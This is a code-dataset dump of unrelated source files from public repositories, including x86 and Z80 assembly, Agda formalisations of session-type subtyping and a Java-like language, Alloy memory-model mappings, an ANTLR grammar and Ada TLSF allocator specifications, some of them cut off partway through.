max_stars_repo_path stringlengths 4 261 | max_stars_repo_name stringlengths 6 106 | max_stars_count int64 0 38.8k | id stringlengths 1 6 | text stringlengths 7 1.05M |
|---|---|---|---|---|
logic.asm | ovidiugabriel/logic-vm | 0 | 5080 | <gh_stars>0
not 0x00 0x00
mov 0x02 0x00
init 0x01 0xef
init 0x03 0x01
orpos 0x01 0x04 0x03 0x03
|
data/baseStats/leafeon.asm | etdv-thevoid/pokemon-rgb-enhanced | 1 | 170781 | db LEAFEON ; pokedex id
db 65 ; base hp
db 65 ; base attack
db 130 ; base defense
db 65 ; base speed
db 110 ; base special
db GRASS ; species type 1
db GRASS ; species type 2
db 45 ; catch rate
db 199 ; base exp yield
INCBIN "pic/gsmon/leafeon.pic",0,1 ; 77, sprite dimensions
dw LeafeonPicFront
dw LeafeonPicBack
; attacks known at lvl 0
db TACKLE
db TAIL_WHIP
db 0
db 0
db 0 ; growth rate
; learnset
tmlearn 3,6,8
tmlearn 9,10,12,15
tmlearn 20,21,22
tmlearn 28,31,32
tmlearn 33,34,37,39
tmlearn 44
tmlearn 50,51
db BANK(LeafeonPicFront)
|
SM8.asm | IamSumitKumar/MicroProcessor | 0 | 90211 | .MODEL SMALL
.DATA
D1 DB 13,10,'Enter the element:$'
D2 DB 13,10,'Enter the element to be searched:$'
D3 DB 13,10,'Element not found.$'
D4 DB 13,10,'Element found.$'
D5 DB 13,10,'Enter the size of the array:$'
ARRAY DB 20 DUP(?)
TEMP DB ?
L DB ?
U DB ?
.CODE
.STARTUP
MOV DX,OFFSET D5
MOV AH,09H
INT 21H
MOV AH,01H
INT 21H
SUB AL,30H
MOV BL,AL
MOV TEMP,BL
DEC BL
MOV U,BL
MOV CH,0
MOV CL,TEMP
MOV DX,OFFSET D1
MOV SI,0
L1:
MOV AH,09H
INT 21H
MOV AH,01H
INT 21H
SUB AL,30H
MOV BL,AL
INT 21H
SUB AL,30H
SHL BL,4
ADD BL,AL
MOV ARRAY[SI],BL
INC SI
LOOP L1
MOV DX,OFFSET D2
MOV AH,09H
INT 21H
MOV AH,01H
INT 21H
SUB AL,30H
MOV BL,AL
INT 21H
SUB AL,30H
SHL BL,4
ADD BL,AL
MOV CL,TEMP
MOV L,0H
L2:
MOV AH,0H
MOV AL,L
ADD AL,U
MOV BH,02H
DIV BH
MOV AH,0H
MOV SI,AX
CMP ARRAY[SI],BL
JA A
JB B
MOV DX,OFFSET D4
MOV AH,09H
INT 21H
JMP E
MOV AX,SI
A:
MOV U,AL
JMP L9
B:
MOV L,AL
L9:
MOV AL,L
CMP AL,U
LOOPNE L2
MOV DX,OFFSET D3
MOV AH,09H
INT 21H
JMP E
E:
.EXIT
END
|
src/FairSubtyping.agda | boystrange/FairSubtypingAgda | 4 | 1562 | -- MIT License
-- Copyright (c) 2021 <NAME> and <NAME>
-- Permission is hereby granted, free of charge, to any person
-- obtaining a copy of this software and associated documentation
-- files (the "Software"), to deal in the Software without
-- restriction, including without limitation the rights to use,
-- copy, modify, merge, publish, distribute, sublicense, and/or sell
-- copies of the Software, and to permit persons to whom the
-- Software is furnished to do so, subject to the following
-- conditions:
-- The above copyright notice and this permission notice shall be
-- included in all copies or substantial portions of the Software.
-- THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
-- EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES
-- OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
-- NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT
-- HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,
-- WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
-- FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
-- OTHER DEALINGS IN THE SOFTWARE.
{-# OPTIONS --guardedness --sized-types #-}
open import Size
open import Data.Empty
open import Data.Product
open import Data.Sum
open import Data.List using ([]; _∷_; _∷ʳ_; _++_)
open import Codata.Thunk
open import Relation.Nullary
open import Relation.Nullary.Negation using (contraposition)
open import Relation.Unary using (_∈_; _⊆_)
open import Relation.Binary.PropositionalEquality using (_≡_; _≢_; refl)
open import Relation.Binary.Construct.Closure.ReflexiveTransitive using (Star; ε; _◅_; return)
open import Function.Base using (case_of_)
open import Common
module FairSubtyping {ℙ : Set} (message : Message ℙ) where
open import Trace message
open import SessionType message
open import Transitions message
open import Session message
open import Compliance message
open import HasTrace message
open import TraceInclusion message
open import Convergence message
open import FairCompliance message
data FairSub : SessionType -> SessionType -> Size -> Set where
nil<|any : ∀{T i} -> FairSub nil T i
end<|def : ∀{T S i} (e : End T) (def : Defined S) -> FairSub T S i
inp<|inp :
∀{f g i}
(con : inp f ↓ inp g)
(inc : dom f ⊆ dom g)
(F : (x : ℙ) -> Thunk (FairSub (f x .force) (g x .force)) i) ->
FairSub (inp f) (inp g) i
out<|out :
∀{f g i}
(con : out f ↓ out g)
(W : Witness g)
(inc : dom g ⊆ dom f)
(F : ∀{x} (!x : x ∈ dom g) -> Thunk (FairSub (f x .force) (g x .force)) i) ->
FairSub (out f) (out g) i
_<|_ : SessionType -> SessionType -> Set
_<|_ T S = FairSub T S ∞
-- sub-defined : ∀{T S} -> T <| S -> Defined T -> Defined S
-- sub-defined (end<|def _ def) _ = def
-- sub-defined (inp<|inp _ _) _ = inp
-- sub-defined (out<|out _ _ _) _ = out
fs->convergence : ∀{T S} -> T <| S -> T ↓ S
fs->convergence nil<|any = inclusion->convergence nil<=any
fs->convergence (end<|def e def) = inclusion->convergence (end<=def e def)
fs->convergence (inp<|inp con inc F) = con
fs->convergence (out<|out con W inc F) = con
fc-not-transition+end :
∀{R R' T α} ->
FairComplianceS (R # T) ->
Transition R α R' ->
End T ->
⊥
fc-not-transition+end comp inp (inp U) with comp ε
... | _ , ε , win#def () _
... | _ , sync () inp ◅ _ , _
fc-not-transition+end comp inp (out U) with comp ε
... | _ , ε , win#def () _
... | _ , sync _ (out fx) ◅ _ , _ = ⊥-elim (U _ fx)
fc-not-transition+end comp (out fx) (inp V) with comp ε
... | _ , ε , win#def (out U) _ = ⊥-elim (U _ fx)
... | _ , sync (out _) inp ◅ reds , win#def w def =
let _ , rr , tr = unzip-red* reds in
⊥-elim (V _ (transitions+defined->defined tr def))
fc-not-transition+end comp (out fx) (out _) with comp ε
... | _ , ε , win#def (out U) _ = ⊥-elim (U _ fx)
... | _ , sync () (out _) ◅ _ , _
sub-red :
∀{T S S' R R' α} ->
FairComplianceS (R # T) ->
T <| S ->
Transition R (co-action α) R' ->
Transition S α S' ->
∃[ T' ] (Transition T α T' × T' <| S')
sub-red comp nil<|any _ _ with comp ε
... | _ , ε , win#def _ ()
... | _ , sync _ () ◅ _ , _
sub-red comp (end<|def e _) r _ = ⊥-elim (fc-not-transition+end comp r e)
sub-red comp (inp<|inp con inc F) (out {h} hx) (inp {f}) = _ , inp , F _ .force
sub-red comp (out<|out con W inc F) inp (out fx) = _ , out (inc fx) , F fx .force
sub-red* :
∀{T S S' R R' φ} ->
FairComplianceS (R # T) ->
T <| S ->
Transitions R (co-trace φ) R' ->
Transitions S φ S' ->
∃[ T' ] (Transitions T φ T' × T' <| S')
sub-red* comp sub refl refl = _ , refl , sub
sub-red* comp sub (step r rr) (step s sr) =
let _ , t , sub' = sub-red comp sub r s in
let comp' = fc-transitions (step r refl) (step t refl) comp in
let _ , tr , sub'' = sub-red* comp' sub' rr sr in
_ , step t tr , sub''
sub-sound : ∀{T S R} -> FairComplianceS (R # T) -> T <| S -> FairComplianceS (R # S)
sub-sound comp sub {_ # _} reds =
let _ , rr , sr = unzip-red* reds in
let _ , tr , sub' = sub-red* comp sub rr sr in
let comp' = fair-compliance-red* comp (zip-red* rr tr) in
con-sound (fs->convergence sub') comp'
|
mappings/c11_strengthening_mo.als | mpardalos/memalloy | 20 | 3464 | open ../archs/exec_C[E]
open strengthening[E]
/*
A C11-to-C11 mapping that (only) allows memory orders to be strengthened.
*/
module c11_strengthening_mo[E]
pred apply_map[X,X':Exec_C] {
strengthening[X,X']
// memory orders are kept the same or strengthened
X.ACQ in X'.ACQ
X.REL in X'.REL
X.SC in X'.SC
// the mapping preserves naL in both directions
X.NAL = X'.NAL
// atomicity is preserved in both directions
X.A = X'.A
// the mapping preserves sb in both directions
X.sb = X'.sb
// the mapping preserves dependencies in both directions
X.cd = X'.cd
X.ad = X'.ad
X.dd = X'.dd
// the mapping preserves sthd in both directions
X.sthd = X'.sthd
}
|
3rdParties/src/nasm/nasm-2.15.02/test/mostsecs.asm | blue3k/StormForge | 1 | 165565 | <reponame>blue3k/StormForge
; More than 65,279 data sections
%assign NSECS 131072
%include "manysecs.asm"
|
test/interaction/Issue888.agda | masondesu/agda | 1 | 3888 | <filename>test/interaction/Issue888.agda
module Issue888 (A : Set) where
-- Check that let-bound variables show up in "show context"
data ℕ : Set where
zero : ℕ
suc : ℕ → ℕ
f : Set -> Set
f X = let Y : ℕ -> Set
Y n = ℕ
m : ℕ
m = {!!}
in {!!}
-- Issue 1112: dependent let-bindings
data Singleton : ℕ → Set where
mkSingleton : (n : ℕ) -> Singleton n
g : ℕ -> ℕ
g x =
let i = zero
z = mkSingleton x
in {!!}
|
src/hello_nasm.asm | stephanro/hello_nasm | 0 | 94676 | <gh_stars>0
%include "stdio.asm"
%include "system.asm"
section .data
hello_nasm db "Hello, Nasm!", 0x0
.len equ $ - hello_nasm - 1
align 8
newline_char db 0xa, 0x0
.len equ $ - newline_char - 1
section .bss
align 8
exit_status resb 1
section .text
global _start:
_start:
; Set exit status to failure. Change to success only at the end.
mov byte[exit_status], _EXIT_FAILURE
; Print 'Hello, Nasm!' to standard output.
mov rsi, hello_nasm
mov rdx, hello_nasm.len
call stdio.print_string
; Test if all bytes were written to standard output. If not exit with
; failure.
cmp rax, rdx
jne exit
; Print a newline character to standard output.
mov rsi, newline_char
mov rdx, newline_char.len
call stdio.print_string
; Test if newline was written to standard output. If not exit with failure.
cmp rax, rdx
jne exit
; Obviously, no error has occured until now, so set exit status to success.
mov byte [exit_status], _EXIT_SUCCESS
align 16
exit:
xor rdi, rdi
mov dl, byte [exit_status]
call system.exit
|
libsrc/sprites/software/sp1/zx81hr/tiles/SP1PSPOP.asm | ahjelm/z88dk | 640 | 240751 | ; subroutine for reading the contents of a "struct sp1_pss" into registers
; 02.2008 aralbrec
; zx81 hi-res version
SECTION code_sprite_sp1
PUBLIC SP1PSPOP
EXTERN SP1V_TEMP_IX
; enter : de = & string to print (or something else)
; hl = & struct sp1_pss to read
;
; exit : de' = & struct sp1_update
; e = flags
; c = y coordinate
; b = x coordinate
; ix = & bounds rectangle
; hl = & string to print (or something else)
; (SP1V_TEMP_IX) = & visit function
.SP1PSPOP
ld a,(hl)
ld ixl,a
inc hl
ld a,(hl)
ld ixh,a ; ix = & bounds rectangle
inc hl
ld a,(hl) ; a = flags
inc hl
ld b,(hl) ; b = x coordinate
inc hl
ld c,(hl) ; c = y coordinate
inc hl
push hl
ex de,hl ; hl = & string
ld e,a ; e = flags
exx
pop hl
ld e,(hl)
inc hl
ld d,(hl) ; de' = & struct sp1_update
inc hl
ld a,(hl)
ld (SP1V_TEMP_IX),a
inc hl
ld a,(hl)
ld (SP1V_TEMP_IX + 1),a ; (SP1V_TEMP_IX) = visit function
exx
ret
|
projects/batfish/src/main/antlr4/org/batfish/grammar/cisco_xr/CiscoXr_mld.g4 | pranavbj-amzn/batfish | 763 | 3858 | parser grammar CiscoXr_mld;
import CiscoXr_common;
options {
tokenVocab = CiscoXrLexer;
}
router_mld: MLD NEWLINE router_mld_inner*;
router_mld_inner
:
rmld_null
| rmld_vrf
| rmld_vrf_inner
;
rmld_vrf_inner
:
rmld_access_group
| rmld_explicit_tracking
| rmld_interface
| rmld_maximum
| rmld_ssm
| rmldv_null
;
rmld_interface_inner
:
rmldi_access_group
| rmldi_explicit_tracking
| rmldi_maximum
| rmldi_null
;
rmld_null
:
(
NSF
) null_rest_of_line
;
rmldv_null
:
(
QUERY_INTERVAL
| QUERY_MAX_RESPONSE_TIME
| QUERY_TIMEOUT
| ROBUSTNESS_VARIABLE
| VERSION
) null_rest_of_line
;
rmldi_null
:
(
JOIN_GROUP
| QUERY_INTERVAL
| QUERY_MAX_RESPONSE_TIME
| QUERY_TIMEOUT
| ROUTER
| STATIC_GROUP
| VERSION
) null_rest_of_line
;
rmld_access_group: ACCESS_GROUP name = access_list_name NEWLINE;
rmld_explicit_tracking: EXPLICIT_TRACKING name = access_list_name? NEWLINE;
rmld_interface
:
INTERFACE name = interface_name NEWLINE rmld_interface_inner*
;
rmld_maximum
:
MAXIMUM
(
rmldm_groups_per_interface
| rmldm_null
)
;
rmldm_groups_per_interface
:
GROUPS_PER_INTERFACE mld_max_groups_per_interface
(THRESHOLD ONE_LITERAL)?
name = access_list_name?
NEWLINE
;
mld_max_groups_per_interface
:
// 1-40000
uint16
;
rmldm_null
:
(
GROUPS
) null_rest_of_line
;
rmld_ssm
:
SSM MAP
(
rmld_ssm_null
| rmld_ssm_static
)
;
rmld_ssm_null
:
(
QUERY
) null_rest_of_line
;
rmld_ssm_static: STATIC IPV6_ADDRESS name = access_list_name NEWLINE;
rmldi_access_group: ACCESS_GROUP name = access_list_name NEWLINE;
rmldi_explicit_tracking: EXPLICIT_TRACKING (DISABLE | name = access_list_name)? NEWLINE;
rmldi_maximum: MAXIMUM rmldm_groups_per_interface;
rmld_vrf: VRF name = vrf_name NEWLINE rmld_vrf_inner*;
|
tlsf/src/tlsf-block-operations.ads | vasil-sd/ada-tlsf | 3 | 5717 | with TLSF.Config;
with TLSF.Block.Types;
with TLSF.Context;
with TLSF.Proof.Model.Context;
with TLSF.Proof.Model.Block;
package TLSF.Block.Operations with SPARK_Mode is
use TLSF.Config;
package BT renames TLSF.Block.Types;
package TC renames TLSF.Context;
package MB renames TLSF.Proof.Model.Block;
package MC renames TLSF.Proof.Model.Context;
use type BT.Address;
use type BT.Size;
use type MB.Block;
type Block is record
Address : BT.Aligned_Address;
Header : BT.Block_Header;
end record;
function Valid_Block (Ctx : TC.Context;
B : Block)
return Boolean
is (B.Address in Ctx.Memory.Region.First .. Ctx.Memory.Region.Last and then
(B.Header.Prev_Block_Address = BT.Address_Null or else
(B.Header.Prev_Block_Address in Ctx.Memory.Region.First .. Ctx.Memory.Region.Last
and then B.Header.Prev_Block_Address < B.Address))
and then B.Header.Size in BT.Quantum .. Ctx.Memory.Region.Last - B.Address)
with Global => null;
function To_Model (Ctx : TC.Context;
B : Block)
return MB.Block
with
Global => null,
Ghost,
Pre => Valid_Block (Ctx, B),
Post =>
To_Model'Result.Address = B.Address and then
To_Model'Result.Prev_Block_Address = B.Header.Prev_Block_Address and then
To_Model'Result.Size = B.Header.Size;
function Next_Block_Address (Ctx : TC.Context; B : Block)
return BT.Aligned_Address
is (B.Address + B.Header.Size)
with Global => null,
Pre => Valid_Block (Ctx, B),
Post => Next_Block_Address'Result =
MB.Next_Block_Address (To_Model (Ctx, B));
function Is_First_Block (Ctx : TC.Context;
B : Block)
return Boolean
with
Global => (Proof_In => MC.State),
Pre =>
Valid_Block (Ctx, B) and then
MC.Has_Model (Ctx) and then
MB.Valid (MC.Get_Block_Model (Ctx)) and then
MB.In_Model (MC.Get_Block_Model (Ctx), To_Model (Ctx, B)),
Post => Is_First_Block'Result =
MB.Is_First_Block (MC.Get_Block_Model (Ctx), To_Model (Ctx, B));
function Is_Last_Block (Ctx : TC.Context;
B : Block)
return Boolean
with
Global => (Proof_In => MC.State),
Pre =>
Valid_Block(Ctx, B) and then
MC.Has_Model (Ctx) and then
MB.Valid (MC.Get_Block_Model (Ctx)) and then
MB.In_Model (MC.Get_Block_Model (Ctx), To_Model (Ctx, B)),
Post => Is_Last_Block'Result =
MB.Is_Last_Block (MC.Get_Block_Model (Ctx), To_Model (Ctx, B));
function Neighbor_Blocks (Ctx : TC.Context;
Left, Right : Block)
return Boolean
is (Left.Address + Left.Header.Size = Right.Address and then
Right.Header.Prev_Block_Address = Left.Address)
with Pre =>
Valid_Block (Ctx, Left) and then
Valid_Block (Ctx, Right) and then
MC.Has_Model (Ctx) and then
MB.Valid (MC.Get_Block_Model (Ctx)) and then
MB.In_Model (MC.Get_Block_Model (Ctx), To_Model (Ctx, Left)) and then
MB.In_Model (MC.Get_Block_Model (Ctx), To_Model (Ctx, Right)),
Post =>
Neighbor_Blocks'Result = MB.Neighbor_Blocks
(To_Model (Ctx, Left),
To_Model (Ctx, Right));
procedure Get_Next_Block (Ctx : TC.Context;
B : Block;
Next : out Block)
with Global => (Proof_In => MC.State),
Pre => Valid_Block (Ctx, B) and then
MC.Has_Model (Ctx) and then
MB.Valid (MC.Get_Block_Model (Ctx)) and then
MB.In_Model (MC.Get_Block_Model (Ctx), To_Model (Ctx, B)) and then
not Is_Last_Block (Ctx, B) and then
MB.Get_Next (MC.Get_Block_Model (Ctx), To_Model (Ctx, B)).Address
= Next_Block_Address(Ctx, B),
Post => Valid_Block (Ctx, Next) and then
MB.In_Model (MC.Get_Block_Model (Ctx), To_Model (Ctx, Next)) and then
To_Model (Ctx, Next) = MB.Get_Next (MC.Get_Block_Model (Ctx), To_Model (Ctx, B)) and then
Neighbor_Blocks (Ctx, B, Next);
pragma Unevaluated_Use_Of_Old (Allow);
procedure Split_Block (Ctx : TC.Context;
B : Block;
Left_Size, Right_Size : BT.Aligned_Size;
Left, Right : out Block)
with Global => (In_Out => MC.State),
-- PRECONDITION of Split_Block
Pre =>
-- input block is valid regarding current context
Valid_Block (Ctx, B) and then
-- sizes are correct
Left_Size >= Small_Block_Size and then
Right_Size >= Small_Block_Size and then
Left_Size + Right_Size = B.Header.Size and then
-- input block is free and already unlinked from free lists
BT.Is_Block_Free (B.Header) and then
not BT.Is_Block_Linked_To_Free_List (B.Header) and then
-- formal model for current context is present and it is valid
MC.Has_Model (Ctx) and then
MB.Valid (MC.Get_Block_Model (Ctx)) and then
-- input block is reflected into formal model
MB.In_Model (MC.Get_Block_Model (Ctx), To_Model (Ctx, B)),
-- POSCONDITION of Split_Block
Post =>
-- output blocks are valid regarding current context
Valid_Block (Ctx, Left) and then Valid_Block (Ctx, Right)
-- they are free and not linked to any of free lists
and then BT.Is_Block_Free (Left.Header)
and then BT.Is_Block_Free (Right.Header)
and then not BT.Is_Block_Linked_To_Free_List (Left.Header)
and then not BT.Is_Block_Linked_To_Free_List (Right.Header)
-- they are in neighborhood relation
and then Neighbor_Blocks (Ctx, Left, Right)
-- updated formal model is valid
and then MB.Valid (MC.Get_Block_Model (Ctx))
-- and output blocks are reflected into formal model
and then MB.In_Model (MC.Get_Block_Model (Ctx), To_Model (Ctx, Left))
and then MB.In_Model (MC.Get_Block_Model (Ctx), To_Model (Ctx, Right))
-- neighborhood relation is reflected too
and then MB.Neighbor_Blocks (To_Model (Ctx, Left), To_Model (Ctx, Right))
-- being first and last is kept appropriately
and then Is_First_Block (Ctx, B)'Old = Is_First_Block (Ctx, Left)
and then MB.Is_First_Block (MC.Get_Block_Model (Ctx), To_Model (Ctx, B))'Old =
MB.Is_First_Block (MC.Get_Block_Model (Ctx), To_Model (Ctx, Left))
and then Is_First_Block (Ctx, Left) =
MB.Is_First_Block (MC.Get_Block_Model (Ctx), To_Model (Ctx, Left))
and then Is_Last_Block (Ctx, B)'Old = Is_Last_Block (Ctx, Right)
and then MB.Is_Last_Block (MC.Get_Block_Model (Ctx), To_Model (Ctx, B))'Old =
MB.Is_Last_Block (MC.Get_Block_Model (Ctx), To_Model (Ctx, Right))
and then Is_Last_Block (Ctx, Right) =
MB.Is_Last_Block (MC.Get_Block_Model (Ctx), To_Model (Ctx, Right))
-- neighborhood between right and next is kept
and then (if not Is_Last_Block (Ctx, Right) then
MB.Neighbor_Blocks (To_Model (Ctx, Right),
MB.Get_Next (MC.Get_Block_Model (Ctx),
To_Model (Ctx, Right))));
-- function Get_Prev_Free_Block (Ctx : TC.Context;
-- Addr : BT.Aligned_Address;
-- Hdr : BT.Block_Header_Free)
-- return BT.Block_Header_Free
-- with
-- Global => null,
-- Pure_Function,
-- Pre =>
-- BT.Is_Block_Linked_To_Free_List (Hdr) and then
-- MB.Valid (MC.Get_Block_Model (Ctx)) and then
-- In_Model (MC.Get_Block_Model (Ctx), To_Model (Ctx, Addr, Hdr)),
-- Post => MB.Valid (MC.Get_Block_Model (Ctx)) and then
-- In_Model (MC.Get_Block_Model (Ctx), To_Model (Ctx, Addr, Get_Prev_Free_Block'Result));
--
-- function Get_Next_Free_Block (Ctx : TC.Context;
-- Addr : BT.Aligned_Address;
-- Hdr : BT.Block_Header_Free)
-- return BT.Block_Header_Free
-- with
-- Global => null,
-- Pure_Function,
-- Pre =>
-- BT.Is_Block_Linked_To_Free_List (Hdr) and then
-- MB.Valid (MC.Get_Block_Model (Ctx)) and then
-- In_Model (MC.Get_Block_Model (Ctx), To_Model (Ctx, Addr, Hdr)),
-- Post => MB.Valid (MC.Get_Block_Model (Ctx)) and then
-- In_Model (MC.Get_Block_Model (Ctx), To_Model (Ctx, Addr, Get_Next_Free_Block'Result));
--
--
--
private
--
-- function Get_Block_At_Address (Ctx : TC.Context;
-- Addr : Aligned_Address)
-- return Block_Header
-- with
-- Global => null,
-- Pure_Function,
-- Pre =>
-- Addr >= BT.Quantum and then
-- MB.Valid (MC.Get_Block_Model (Ctx)),
-- Post =>
-- MB.Valid (MC.Get_Block_Model (Ctx)) and then
-- MB.In_Model (MC.Get_Block_Model (Ctx),
-- To_Model (Ctx, Addr, Get_Block_At_Address'Result));
--
-- Only possible way to reificate blocks in memory is to use Store_Block
-- Store_Block works only for blocks that are reflected in model
-- So if we load block header from address where it was stored by Store_Block
-- then we may be confident that this block already was reflected in model
-- That is why checking only reflection of block address is sufficient
procedure Load_Block (Ctx : TC.Context;
Addr : BT.Aligned_Address;
B : out Block)
with
Global => (Proof_In => MC.State),
Pre =>
MC.Has_Model (Ctx) and then
MB.Valid (MC.Get_Block_Model (Ctx)) and then
MB.Address_In_Model (MC.Get_Block_Model (Ctx), Addr),
Post =>
B.Address = Addr and then
Valid_Block (Ctx, B) and then
MB.In_Model (MC.Get_Block_Model (Ctx), To_Model (Ctx, B));
-- Stroring blocks is enabled only for blocks that are already reflected
-- in model
procedure Store_Block (Ctx : TC.Context;
B : Block)
with
Global => (Proof_In => MC.State),
Pre =>
Valid_Block (Ctx, B) and then
MC.Has_Model (Ctx) and then
MB.Valid (MC.Get_Block_Model (Ctx)) and then
MB.In_Model (MC.Get_Block_Model (Ctx), To_Model (Ctx, B));
end TLSF.Block.Operations;
|
.emacs.d/elpa/wisi-3.0.1/wisitoken-parse-packrat-generated.ads | caqg/linux-home | 0 | 3696 | <gh_stars>0
-- Abstract :
--
-- Types and operations for a packrat parser runtime, with nonterm
-- parsing subprograms generated by wisi-generate.
--
-- References:
--
-- see parent.
--
-- Copyright (C) 2018 - 2019 Free Software Foundation, Inc.
--
-- This library is free software; you can redistribute it and/or modify it
-- under terms of the GNU General Public License as published by the Free
-- Software Foundation; either version 3, or (at your option) any later
-- version. This library is distributed in the hope that it will be useful,
-- but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHAN-
-- TABILITY or FITNESS FOR A PARTICULAR PURPOSE.
-- As a special exception under Section 7 of GPL version 3, you are granted
-- additional permissions described in the GCC Runtime Library Exception,
-- version 3.1, as published by the Free Software Foundation.
pragma License (Modified_GPL);
with WisiToken.Syntax_Trees;
package WisiToken.Parse.Packrat.Generated is
Recursive : exception; -- FIXME: delete
type Memo_State is (No_Result, Failure, Success);
subtype Result_States is Memo_State range Failure .. Success;
type Memo_Entry (State : Memo_State := No_Result) is record
case State is
when No_Result =>
Recursive : Boolean := False; -- FIXME: delete
when Failure =>
null;
when Success =>
Result : aliased WisiToken.Syntax_Trees.Valid_Node_Index;
Last_Token : Base_Token_Index; -- FIXME: change to Last_Pos
end case;
end record;
package Memos is new SAL.Gen_Unbounded_Definite_Vectors
(Token_Index, Memo_Entry, Default_Element => (others => <>));
subtype Result_Type is Memo_Entry
with Dynamic_Predicate => Result_Type.State in Result_States;
package Derivs is new SAL.Gen_Unbounded_Definite_Vectors
(Token_ID, Memos.Vector, Default_Element => Memos.Empty_Vector);
type Parse_WisiToken_Accept is access
-- WORKAROUND: using Packrat.Parser'Class here hits a GNAT Bug box in GPL 2018.
function (Parser : in out Base_Parser'Class; Last_Pos : in Base_Token_Index) return Result_Type;
type Parser is new Packrat.Parser with record
Derivs : Generated.Derivs.Vector; -- FIXME: use discriminated array, as in procedural
Parse_WisiToken_Accept : Generated.Parse_WisiToken_Accept;
end record;
overriding procedure Parse (Parser : aliased in out Generated.Parser);
overriding function Tree (Parser : in Generated.Parser) return Syntax_Trees.Tree;
overriding function Any_Errors (Parser : in Generated.Parser) return Boolean;
overriding procedure Put_Errors (Parser : in Generated.Parser);
end WisiToken.Parse.Packrat.Generated;
|
sources/ada_pretty-clauses.ads | reznikmm/adaside | 4 | 20352 | <reponame>reznikmm/adaside
-- Copyright (c) 2017 <NAME> <<EMAIL>>
--
-- SPDX-License-Identifier: MIT
-- License-Filename: LICENSE
-------------------------------------------------------------
private package Ada_Pretty.Clauses is
type Aspect is new Node with private;
function New_Aspect
(Name : not null Node_Access;
Value : Node_Access) return Node'Class;
type Pragma_Node is new Node with private;
function New_Pragma
(Name : not null Node_Access;
Arguments : Node_Access) return Node'Class;
type With_Clause is new Node with private;
function New_With
(Name : not null Node_Access;
Is_Limited : Boolean;
Is_Private : Boolean) return Node'Class;
type Use_Clause is new Node with private;
function New_Use
(Name : not null Node_Access;
Use_Type : Boolean) return Node'Class;
private
type Aspect is new Node with record
Name : not null Node_Access;
Value : Node_Access;
end record;
overriding function Document
(Self : Aspect;
Printer : not null access League.Pretty_Printers.Printer'Class;
Pad : Natural)
return League.Pretty_Printers.Document;
overriding function Join
(Self : Aspect;
List : Node_Access_Array;
Pad : Natural;
Printer : not null access League.Pretty_Printers.Printer'Class)
return League.Pretty_Printers.Document;
overriding function Max_Pad (Self : Aspect) return Natural is
(Self.Name.Max_Pad);
type Pragma_Node is new Declaration with record
Name : not null Node_Access;
Arguments : Node_Access;
end record;
overriding function Document
(Self : Pragma_Node;
Printer : not null access League.Pretty_Printers.Printer'Class;
Pad : Natural)
return League.Pretty_Printers.Document;
type With_Clause is new Node with record
Name : not null Node_Access;
Is_Limited : Boolean;
Is_Private : Boolean;
end record;
overriding function Document
(Self : With_Clause;
Printer : not null access League.Pretty_Printers.Printer'Class;
Pad : Natural)
return League.Pretty_Printers.Document;
type Use_Clause is new Node with record
Name : not null Node_Access;
Use_Type : Boolean;
end record;
overriding function Document
(Self : Use_Clause;
Printer : not null access League.Pretty_Printers.Printer'Class;
Pad : Natural)
return League.Pretty_Printers.Document;
end Ada_Pretty.Clauses;
|
src/MJ/Syntax/Scoped.agda | metaborg/mj.agda | 10 | 10372 | module MJ.Syntax.Scoped where
open import Prelude
open import Data.Maybe as Maybe using (Maybe; just)
open import Data.Maybe.All as MayAll
open import Data.Vec as Vec hiding (_∈_)
open import Data.Star.Indexed
open import Data.List
open import Data.List.Properties.Extra
open import Data.List.Prefix
open import Data.List.Any
open import Data.List.All as List∀ hiding (lookup)
open import Data.List.All.Properties.Extra
open import Relation.Binary.PropositionalEquality
import Data.Vec.All as Vec∀
open Membership-≡
open import MJ.Types
NativeBinOp = ℕ → ℕ → ℕ
data Expr {n : ℕ} (Γ : Ctx c n) : Ty c → Set where
new : (C : Fin c) → All (Expr Γ) (Class.constr (clookup C)) → Expr Γ (ref C)
unit : Expr Γ void
num : ℕ → Expr Γ int
iop : NativeBinOp → (l r : Expr Γ int) → Expr Γ int
call : ∀ {cid as b} →
Expr Γ (ref cid) → Member Σ cid MTH (as , b) → All (Expr Γ) as →
Expr Γ b
var : (i : Fin n) → Expr Γ (lookup i Γ)
get : ∀ {cid ty} → Expr Γ (ref cid) → Member Σ cid FLD ty → Expr Γ ty
upcast : ∀ {c c'} → Σ ⊢ c <: c' → Expr Γ (ref c) → Expr Γ (ref c')
data Cmd {n}(I : Ctx c n)(r : Ty c) : ∀ {m} → (O : Ctx c m) → Set where
loc : ∀ a → Expr I a → Cmd I r (a ∷ I)
asgn : ∀ (i : Fin n) → Expr I (lookup i I) → Cmd I r I
set : ∀ {C a} → Expr I (ref C) →
Member Σ C FLD a → Expr I a → Cmd I r I
do : ∀ {a} → Expr I a → Cmd I r I
ret : Expr I r → Cmd I r I
Stmts : ∀ {n m}→ (Ctx c n) → Ty c → (Ctx c m) → Set
Stmts I r O = Star ℕ (λ n m (I : Ctx c n) (O : Ctx c m) → Cmd I r O) I O
data Body {n}(I : Ctx c n) : Ty c → Set where
body : ∀ {m r}{O : Ctx c m} → Stmts I r O → Expr O r → Body I r
-- mapping of namespace typings to the type of their implementation
Def : ∀ {ns} → Fin c → typing ns c → Set
-- methods have bodies
Def {MTH} C (as , b) = Body (ref C ∷ (fromList as)) b
-- fields have initializers
Def {FLD} C a = Body (fromList (Class.constr (clookup C))) a
record Implementation (cid : Fin c) : Set where
constructor impl
open Class (clookup cid) public
field
-- mapping construct arguments to super constructor arguments
super-args :
Maybe.All
(λ p → All (Expr (fromList constr)) (Class.constr (clookup p)))
parent
-- definitions for all local members
defs : ∀ ns → All (Def cid) (decls ns)
-- implementation of a classtable
record Impl : Set where
field
bodies : ∀ (cid : Fin c) → Implementation cid
-- get member definition from a class
getDef : ∀ {ns ty}→ (cid : Fin c) → (m : Member Σ cid ns ty) → Impl → Def (proj₁ m) ty
getDef {ns = ns} cid (_ , refl , def) I with clookup cid | inspect clookup cid
... | C@(class parent constr decls) | [ refl ] with Impl.bodies I cid
